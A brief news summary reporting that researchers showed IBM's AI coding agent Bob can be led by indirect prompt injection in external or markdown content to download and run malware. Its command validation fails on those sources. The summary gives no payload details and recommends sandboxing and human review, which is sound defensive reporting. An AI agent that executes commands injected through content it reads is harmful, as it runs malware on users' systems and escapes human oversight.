IBM Bob Enables Malware Execution via Prompt Injection
Cybersecurity researchers in late 2025 reported that IBM’s AI coding agent Bob can be tricked into downloading and executing malware via indirect prompt injection. Controlled tests by PromptArmor and reporting from The Register and TechRadar show Bob’s command validation fails when parsing external or markdown sources, allowing shell commands to run. The flaw raises enterprise risks and prompts calls for sandboxing, multi-layer validation, and human review.
Key Points
- 1Demonstrate that IBM's Bob can download and execute malware via indirect prompt injection
- 2Exposes systemic weakness in agent input validation, undermining guardrails and repository-sourced content checks
- 3Requires practitioners to sandbox agents, add multi-layer validation, and enforce human reviews for risky commands
Scoring Rationale
High novelty and industry-wide impact driven by real exploit demonstrations, limited by lack of official IBM disclosure and full technical details.
Sources
Public references used for this report.
Practice interview problems based on real data
1,625 SQL & Python problems across 15 industry datasets — the exact type of data you work with.
Try 250 free problems